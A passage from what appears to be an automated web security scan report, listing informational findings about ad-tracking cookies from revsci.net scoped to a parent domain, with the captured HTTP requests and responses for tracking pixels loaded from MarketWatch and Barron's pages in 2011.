Set-Cookie: rtc_MrVW=MLuBU4kHAVhDF1LCdcKXDzQFlw1IZ0BewogNsnhBUGsfVkhkAPoI68+Xd8YLhw8U09tff4uBLKooVnFpjegghw==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:57:23 GMT; Path=/
X-Proc-ms: 0
P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA"
Server: RSI
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: image/gif
Content-Length: 43
Date: Sat, 14 May 2011 10:57:23 GMT

GIF89a.............!.......,...........D..;

14.53. http://pix04.revsci.net/G07608/b3/0/3/1008211/297502058.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/G07608/b3/0/3/1008211/297502058.gif

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuXw5s0lQBKzYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtQ768aQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:30:31 GMT; Path=/
rtc_fOBM=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BYwohNunBFEGgdlg06eD02cW8HFwQqcKIgsPVndg==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:30:31 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /G07608/b3/0/3/1008211/297502058.gif?D=DM_LOC%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Fstory%252Fcitigroups-new-look-is-plainly-cosmetic-2011-05-13%253Flink%253DMW_story_investinginsightb%2526_rsiL%253D0%26DM_CAT%3DMarketWatch%2520%253E%2520Article%2520%253E%2520MW_Investing%2520%253E%2520MW_Article_Chuck%2520Jaffe%26DM_REF%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Fstory%252Foil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%26DM_EOM%3D1&C=G07608 HTTP/1.1
Host: pix04.revsci.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NETID01=f6600bc0a97556506df2daf333d9f1f4; udm_0=MLvv7iEOIS5n5S4sf9LIKM6Bpt3BQhwXLKhpumJAKH9ZohLvamWO+huyCocJXJDsRczd6FCC/ukv6Xpz1uzdB8jd3W3ILSjdYtnKq3F9jFyZqD377+Us3Nbw7cs1UpXwdejqHoMXde16Mzxvxei7KC+8NBsY8GM6zdRigHER7kUDTsulJ9IyAYcLvyqoyZkQZN5z/aEPrq5n9N0flh2HtuQC41Gxciq7dBDbJX43Xt+nPxvpxIe8OCCnhK5r9ANhaH8LDHQ5aMdNSJp7kYijGTihLVaWzIq5ufydYbNm9P66qBzXsYWmpLYHASVODs5MLGnqaWomJ4kcVVYuRCgplE/8t8hfOuSjORkUuX1twlOccQpK/83a1p6p9gD0Mn657YX8gBmi8+iaxuJ1uHrwDpYm9/xzIaPpzjNK3NRsH9kymE77A07UhIw2q6tBPVlAmPAo+E/4sNqVsTXMtLJrRfea6YQd80ALRcIt+FQ4/eHT1DPQo8qEvpq5YbGrPh1tfrFz62318KfxrC9Xe3bodpJLTOpoy6FPVvvvE/jbr2s6ubXR175Ye9eHk5CyuBojjk2prQ==; rsiPus_VmDO="MLs3rF9vsF9nIDGjzL1vcpsTPRsfCl7PoiPmrzYaJskmosJYIWqMj3Sq3yt/E+QlPTZKCuQrKEB5Z7vtqd4JbrUrgH/gmdfVNqTaghkJu5V3yMOKHUUoQ18s06TgB+XdXLrTWFjU8Tdz+Wj10jHIRxZ/uiauIdgCRG4WWZoEQvBvcz0BKA+4pXdUtSwC41UyCoMtP7V4oNFGdg=="; rsi_us_1000000="pUMdJc+g/xMU1j2Eq62Z0x2J+T7uFxZvzsVdi8Ni1rZmEnsMVtJEyT/0fTHbQcU3Fl+IGpm+3PedGzrOT9nTdXoVUkI6WmaBEej7aE2XzVQj6QxDUb0Yqflin6S1sMRM9RUMWIzdW0pCLFX+SdMOIyoFeBH6v/2zlBy8MohyfgRDYfmcSTqHPC0xaR/mvaFRgazmITlQbtXP+7RYRY6yzZaFUAgFwKr/tr94J1h4H+W2YralVmK4v6P0xN+VNt2eZqNbiFQzK+nNzSOpTolaFo0Raxpc3WytphNYPzJ9/lJt/xBHGQP81boeRcwqveNqtdd/1E1vdjIBRoZH0EmvTaShQ/jzfZWtTYzx/raf81/3cGklA237x02G2voq9ktKTi1i+WtuXLlMuX2LoCoyqqr//Mw/xK1hWpEzhob+C1uUCfMoE2wJ1FmCpfX3oa9FdsW5miPZDT+R5uD0aFQPo5CCc64WwzH00oWOr8FTGsrQW5azQKmncb8T6deFcxXZkLDqmK4Kf1RROoiT85eoc9M+7bsUUuqezK1ewRco0HpgWz4qkFkGfLfnvP3jHP2Gd92brOg2ZswO9XlXms9QwnkwSKdzktQIeRMytjr7TYws9yX/PbPvHI4Wj/iJV38mp3lCHbtLegae5PqiGWNd6+91HKC62iMO65M8N5sIRgOHiZMP7x3ipqRjTkkAlSYzXbqZ7Or5NUc1o2SP8BdVN9s+mCEMyZPTn5bPzqmgwn0u7ARels1C8oA="; NETSEGS_G07608=82f4957c1a652091&G07608&0&4df33ff4&0&&4dcde361&1f1a384c105a2f365a2b2d6af5f27c36; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuXY7tUNWBKzYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtROG8Ew==; rtc_i8yw=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BfwohNunBFEGgdlg06eD02cW8HFwQqcKIgsA1ncA==; rsi_segs__1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuXY7s0ZYAKDYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRVO8Fw==

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: rtc_i8yw=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs__1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuXw5s0lQBKzYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtQ768aQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:30:31 GMT; Path=/
Set-Cookie: rtc_fOBM=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BYwohNunBFEGgdlg06eD02cW8HFwQqcKIgsPVndg==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:30:31 GMT; Path=/
X-Proc-ms: 1
P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA"
Server: RSI
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: image/gif
Content-Length: 43
Date: Sat, 14 May 2011 10:30:31 GMT

GIF89a.............!.......,...........D..;

14.54. http://pix04.revsci.net/G07608/b3/0/3/1008211/317069095.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/G07608/b3/0/3/1008211/317069095.gif

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtDsX07t0NcAKzYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtQ268Zg==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:04:54 GMT; Path=/
rtc_BU5f=MLuBU4kHAVhDF1LCdcKXDzQFlw1IZ8BbwogNsnhBUGsfVkhkAPoI68+Xd8YLhw8U09tff4uBLKooVnFpjBggjQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:04:54 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /G07608/b3/0/3/1008211/317069095.gif?D=DM_LOC%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Fstory%252Foil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%253F_rsiL%253D0%26DM_CAT%3DMarketWatch%2520%253E%2520Article%2520%253E%2520MW_Markets%2520%253E%2520MW_Article_Futures%2520Movers%26DM_REF%3Dhttp%253A%252F%252Fburp%252Fshow%252F2%26DM_EOM%3D1&C=G07608 HTTP/1.1
Host: pix04.revsci.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NETID01=f6600bc0a97556506df2daf333d9f1f4; udm_0=MLvv7iEOIS5n5S4sf9LIKM6Bpt3BQhwXLKhpumJAKH9ZohLvamWO+huyCocJXJDsRczd6FCC/ukv6Xpz1uzdB8jd3W3ILSjdYtnKq3F9jFyZqD377+Us3Nbw7cs1UpXwdejqHoMXde16Mzxvxei7KC+8NBsY8GM6zdRigHER7kUDTsulJ9IyAYcLvyqoyZkQZN5z/aEPrq5n9N0flh2HtuQC41Gxciq7dBDbJX43Xt+nPxvpxIe8OCCnhK5r9ANhaH8LDHQ5aMdNSJp7kYijGTihLVaWzIq5ufydYbNm9P66qBzXsYWmpLYHASVODs5MLGnqaWomJ4kcVVYuRCgplE/8t8hfOuSjORkUuX1twlOccQpK/83a1p6p9gD0Mn657YX8gBmi8+iaxuJ1uHrwDpYm9/xzIaPpzjNK3NRsH9kymE77A07UhIw2q6tBPVlAmPAo+E/4sNqVsTXMtLJrRfea6YQd80ALRcIt+FQ4/eHT1DPQo8qEvpq5YbGrPh1tfrFz62318KfxrC9Xe3bodpJLTOpoy6FPVvvvE/jbr2s6ubXR175Ye9eHk5CyuBojjk2prQ==; NETSEGS_G07608=82f4957c1a652091&G07608&0&4df33ff4&0&&4dcde361&1f1a384c105a2f365a2b2d6af5f27c36; rsiPus_t9z0="MLs3rF9vsF9nIDEz8lYBG8y1T5yYjdlQKkw4AX/Jd8BMMq7CQ2GtihxyUr10/ojPYcDD+dkjQwqWyPMNJwLxMlQOzBzvptrVk8y3CBYM8B8qXhaXuoc1PqcPHJPJdLwfhziejg4aYNfvU0EE1iSJty6dRJIxPFptrkL3lAGdy/zUX1OQLueuy+BXbF7ZvWdtV4ac1sKxH2JbE/Y="; rsi_us_1000000="pUMdJc2g/wMU1A0vl3aaUfi+Tebh2ccCXOE0KutCzAso9sIeEpxNo+KC9uYJ4XYFFV+IGpm+3PedGzrOT9nTdXqFppriwDzDB8ToLgv7FJ5d7HXtY/2BAO0lNzWre2/fu4lI/6LYaaWHphdnDCHSoBon8iVhd+P2YagLup4Q1rw7bnl+ufxGVphhnMkwic6ljDSPhaVO03NLv9lc8pImscN0rs+Ic9+fZ5vMUDpzxdAZgl37RhVUPwrg8Pw3/xwXJvn9LMHSo09OaE+cZ08DOz1R/F1zZLu+/BVgX+bHNoDJY80lwk0DktY7SW6HhT+JddLG9cyvhIMUv3m0/5WmKlgf6gvbnEFu9Scbfu/CvA3O1t8qEGvqPzazmBh2Mc8TRLI13m/VszY5+UWBP4kc0Mg7Du4txgE/zEjh5+3+VgN7zvSoi6LMLm0qEKtDxsSJTwm9d0AXpCQEiSgVnWE7bRfLHF2eOdIpJgFpr9ItAQscxBV1b99hoDzj6Tm6PwkI+qSaU8KizqVJjGam82pRL8/FHvCbqbeJJZ5/wM/37qL/XPQ/cdwHBBKAX6++SRrPH7ZP7DBalGIVhKvaE+wbmALN2AzxvqTEjU9nejP//BIV4v/wfdMvzr2ZHBDJS1dA+HSyR4yLAdaZjS6hx+DD0rNIPOL+0/6l7ZPk4nKmqyHMe0La+xOQSizrDbXxz0+BS+jX7Po518hwJnRcvsORFVs/mKEUyZc7HlTMwrlrTeq3Arl/zrdd8Wo="; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuXw0sUFaCKzYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRkO8Hw==; rtc_or89=MLuBU4kHAVhDF1LCdcKXDzQFlw1IZ8BdwogNsnhBUGsfVkhkAPoI68+Xd8YLhw8U09tff4uBLKooVnFpjEggiw==

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: rtc_or89=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtDsX07t0NcAKzYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtQ268Zg==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:04:54 GMT; Path=/
Set-Cookie: rtc_BU5f=MLuBU4kHAVhDF1LCdcKXDzQFlw1IZ8BbwogNsnhBUGsfVkhkAPoI68+Xd8YLhw8U09tff4uBLKooVnFpjBggjQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 11:04:54 GMT; Path=/
X-Proc-ms: 0
P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA"
Server: RSI
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: image/gif
Content-Length: 43
Date: Sat, 14 May 2011 11:04:53 GMT

GIF89a.............!.......,...........D..;

14.55. http://pix04.revsci.net/G07608/b3/0/3/1008211/382438596.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/G07608/b3/0/3/1008211/382438596.gif

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuXw8ukNUAKjYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRN+8Ew==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:33:48 GMT; Path=/
rtc_cHAL=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BawohNunBFEGgdlg06eD02cW8HFwQqcKIgt2VnSg==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:33:48 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /G07608/b3/0/3/1008211/382438596.gif?D=DM_LOC%3Dhttp%253A%252F%252Fonline.barrons.com%252Farticle%252Fbarrons_take.html%253Fmod%253DBOL_other_tnav_analysis%2526_rsiL%253D0%26DM_CAT%3DBarrons%2520Online%2520%253E%2520Article%2520%253E%2520Home%2520%253E%2520Barron's%2520Take%26DM_REF%3Dhttp%253A%252F%252Ftopics.barrons.com%252Fperson%252FS%252Fmichael-santoli%252F6041%26DM_EOM%3D1&C=G07608 HTTP/1.1
Host: pix04.revsci.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/article/barrons_take.html?mod=BOL_other_tnav_analysis
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NETID01=f6600bc0a97556506df2daf333d9f1f4; udm_0=MLvv7iEOIS5n5S4sf9LIKM6Bpt3BQhwXLKhpumJAKH9ZohLvamWO+huyCocJXJDsRczd6FCC/ukv6Xpz1uzdB8jd3W3ILSjdYtnKq3F9jFyZqD377+Us3Nbw7cs1UpXwdejqHoMXde16Mzxvxei7KC+8NBsY8GM6zdRigHER7kUDTsulJ9IyAYcLvyqoyZkQZN5z/aEPrq5n9N0flh2HtuQC41Gxciq7dBDbJX43Xt+nPxvpxIe8OCCnhK5r9ANhaH8LDHQ5aMdNSJp7kYijGTihLVaWzIq5ufydYbNm9P66qBzXsYWmpLYHASVODs5MLGnqaWomJ4kcVVYuRCgplE/8t8hfOuSjORkUuX1twlOccQpK/83a1p6p9gD0Mn657YX8gBmi8+iaxuJ1uHrwDpYm9/xzIaPpzjNK3NRsH9kymE77A07UhIw2q6tBPVlAmPAo+E/4sNqVsTXMtLJrRfea6YQd80ALRcIt+FQ4/eHT1DPQo8qEvpq5YbGrPh1tfrFz62318KfxrC9Xe3bodpJLTOpoy6FPVvvvE/jbr2s6ubXR175Ye9eHk5CyuBojjk2prQ==; rsiPus_VmDO="MLs3rF9vsF9nIDGjzL1vcpsTPRsfCl7PoiPmrzYaJskmosJYIWqMj3Sq3yt/E+QlPTZKCuQrKEB5Z7vtqd4JbrUrgH/gmdfVNqTaghkJu5V3yMOKHUUoQ18s06TgB+XdXLrTWFjU8Tdz+Wj10jHIRxZ/uiauIdgCRG4WWZoEQvBvcz0BKA+4pXdUtSwC41UyCoMtP7V4oNFGdg=="; rsi_us_1000000="pUMdJc+g/xMU1j2Eq62Z0x2J+T7uFxZvzsVdi8Ni1rZmEnsMVtJEyT/0fTHbQcU3Fl+IGpm+3PedGzrOT9nTdXoVUkI6WmaBEej7aE2XzVQj6QxDUb0Yqflin6S1sMRM9RUMWIzdW0pCLFX+SdMOIyoFeBH6v/2zlBy8MohyfgRDYfmcSTqHPC0xaR/mvaFRgazmITlQbtXP+7RYRY6yzZaFUAgFwKr/tr94J1h4H+W2YralVmK4v6P0xN+VNt2eZqNbiFQzK+nNzSOpTolaFo0Raxpc3WytphNYPzJ9/lJt/xBHGQP81boeRcwqveNqtdd/1E1vdjIBRoZH0EmvTaShQ/jzfZWtTYzx/raf81/3cGklA237x02G2voq9ktKTi1i+WtuXLlMuX2LoCoyqqr//Mw/xK1hWpEzhob+C1uUCfMoE2wJ1FmCpfX3oa9FdsW5miPZDT+R5uD0aFQPo5CCc64WwzH00oWOr8FTGsrQW5azQKmncb8T6deFcxXZkLDqmK4Kf1RROoiT85eoc9M+7bsUUuqezK1ewRco0HpgWz4qkFkGfLfnvP3jHP2Gd92brOg2ZswO9XlXms9QwnkwSKdzktQIeRMytjr7TYws9yX/PbPvHI4Wj/iJV38mp3lCHbtLegae5PqiGWNd6+91HKC62iMO65M8N5sIRgOHiZMP7x3ipqRjTkkAlSYzXbqZ7Or5NUc1o2SP8BdVN9s+mCEMyZPTn5bPzqmgwn0u7ARels1C8oA="; NETSEGS_G07608=82f4957c1a652091&G07608&0&4df33ff4&0&&4dcde361&1f1a384c105a2f365a2b2d6af5f27c36; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuXYzsU5cAKzYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRae8Gg==; rtc_uS8U=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BcwohNunBFEGgdlg06eD02cW8HFwQqcKIgsL1ndA==

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: rtc_uS8U=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuXw8ukNUAKjYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRN+8Ew==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:33:48 GMT; Path=/
Set-Cookie: rtc_cHAL=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BawohNunBFEGgdlg06eD02cW8HFwQqcKIgt2VnSg==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:33:48 GMT; Path=/
X-Proc-ms: 1
P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA"
Server: RSI
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: image/gif
Content-Length: 43
Date: Sat, 14 May 2011 10:33:48 GMT

GIF89a.............!.......,...........D..;

14.56. http://pix04.revsci.net/G07608/b3/0/3/1008211/577937684.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pix04.revsci.net
Path:	/G07608/b3/0/3/1008211/577937684.gif

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuHQ7s09eBKTYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRey8FA==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:27:17 GMT; Path=/
NETSEGS_G07608=82f4957c1a652091&G07608&0&4df34305&0&&4dcde361&1f1a384c105a2f365a2b2d6af5f27c36; Domain=.revsci.net; Expires=Sat, 11-Jun-2011 10:27:17 GMT; Path=/
rtc_UaeU=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BbwohNunBFEGgdlg06eD02cW8HFwQqcTrzSWd2; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:27:17 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /G07608/b3/0/3/1008211/577937684.gif?D=DM_LOC%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Fstory%252Foil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%253F_rsiL%253D0%26DM_CAT%3DMarketWatch%2520%253E%2520Article%2520%253E%2520MW_Markets%2520%253E%2520MW_Article_Futures%2520Movers%26DM_REF%3Dhttp%253A%252F%252Fwww.marketwatch.com%252F%26DM_EOM%3D1&C=G07608 HTTP/1.1
Host: pix04.revsci.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NETID01=f6600bc0a97556506df2daf333d9f1f4; udm_0=MLvv7iEOIS5n5S4sf9LIKM6Bpt3BQhwXLKhpumJAKH9ZohLvamWO+huyCocJXJDsRczd6FCC/ukv6Xpz1uzdB8jd3W3ILSjdYtnKq3F9jFyZqD377+Us3Nbw7cs1UpXwdejqHoMXde16Mzxvxei7KC+8NBsY8GM6zdRigHER7kUDTsulJ9IyAYcLvyqoyZkQZN5z/aEPrq5n9N0flh2HtuQC41Gxciq7dBDbJX43Xt+nPxvpxIe8OCCnhK5r9ANhaH8LDHQ5aMdNSJp7kYijGTihLVaWzIq5ufydYbNm9P66qBzXsYWmpLYHASVODs5MLGnqaWomJ4kcVVYuRCgplE/8t8hfOuSjORkUuX1twlOccQpK/83a1p6p9gD0Mn657YX8gBmi8+iaxuJ1uHrwDpYm9/xzIaPpzjNK3NRsH9kymE77A07UhIw2q6tBPVlAmPAo+E/4sNqVsTXMtLJrRfea6YQd80ALRcIt+FQ4/eHT1DPQo8qEvpq5YbGrPh1tfrFz62318KfxrC9Xe3bodpJLTOpoy6FPVvvvE/jbr2s6ubXR175Ye9eHk5CyuBojjk2prQ==; rsiPus_VmDO="MLs3rF9vsF9nIDGjzL1vcpsTPRsfCl7PoiPmrzYaJskmosJYIWqMj3Sq3yt/E+QlPTZKCuQrKEB5Z7vtqd4JbrUrgH/gmdfVNqTaghkJu5V3yMOKHUUoQ18s06TgB+XdXLrTWFjU8Tdz+Wj10jHIRxZ/uiauIdgCRG4WWZoEQvBvcz0BKA+4pXdUtSwC41UyCoMtP7V4oNFGdg=="; rsi_us_1000000="pUMdJc+g/xMU1j2Eq62Z0x2J+T7uFxZvzsVdi8Ni1rZmEnsMVtJEyT/0fTHbQcU3Fl+IGpm+3PedGzrOT9nTdXoVUkI6WmaBEej7aE2XzVQj6QxDUb0Yqflin6S1sMRM9RUMWIzdW0pCLFX+SdMOIyoFeBH6v/2zlBy8MohyfgRDYfmcSTqHPC0xaR/mvaFRgazmITlQbtXP+7RYRY6yzZaFUAgFwKr/tr94J1h4H+W2YralVmK4v6P0xN+VNt2eZqNbiFQzK+nNzSOpTolaFo0Raxpc3WytphNYPzJ9/lJt/xBHGQP81boeRcwqveNqtdd/1E1vdjIBRoZH0EmvTaShQ/jzfZWtTYzx/raf81/3cGklA237x02G2voq9ktKTi1i+WtuXLlMuX2LoCoyqqr//Mw/xK1hWpEzhob+C1uUCfMoE2wJ1FmCpfX3oa9FdsW5miPZDT+R5uD0aFQPo5CCc64WwzH00oWOr8FTGsrQW5azQKmncb8T6deFcxXZkLDqmK4Kf1RROoiT85eoc9M+7bsUUuqezK1ewRco0HpgWz4qkFkGfLfnvP3jHP2Gd92brOg2ZswO9XlXms9QwnkwSKdzktQIeRMytjr7TYws9yX/PbPvHI4Wj/iJV38mp3lCHbtLegae5PqiGWNd6+91HKC62iMO65M8N5sIRgOHiZMP7x3ipqRjTkkAlSYzXbqZ7Or5NUc1o2SP8BdVN9s+mCEMyZPTn5bPzqmgwn0u7ARels1C8oA="; rtc_1ULv=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BdwohNunBFEGgdlg06eD02cW8HFwQqcKIgsZ1nfA==; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLYIUlVH27L0vfkK6m6jxmVeJWtwf0wDT7Fu8GN7lxA3D8lDzkXUkvgTVT1xu/fSGzXIpsZZc8j0XeTXtZK68bg==

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: rtc_1ULv=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuHQ7s09eBKTYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtRey8FA==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:27:17 GMT; Path=/
Set-Cookie: NETSEGS_G07608=82f4957c1a652091&G07608&0&4df34305&0&&4dcde361&1f1a384c105a2f365a2b2d6af5f27c36; Domain=.revsci.net; Expires=Sat, 11-Jun-2011 10:27:17 GMT; Path=/
Set-Cookie: rtc_UaeU=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BbwohNunBFEGgdlg06eD02cW8HFwQqcTrzSWd2; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:27:17 GMT; Path=/
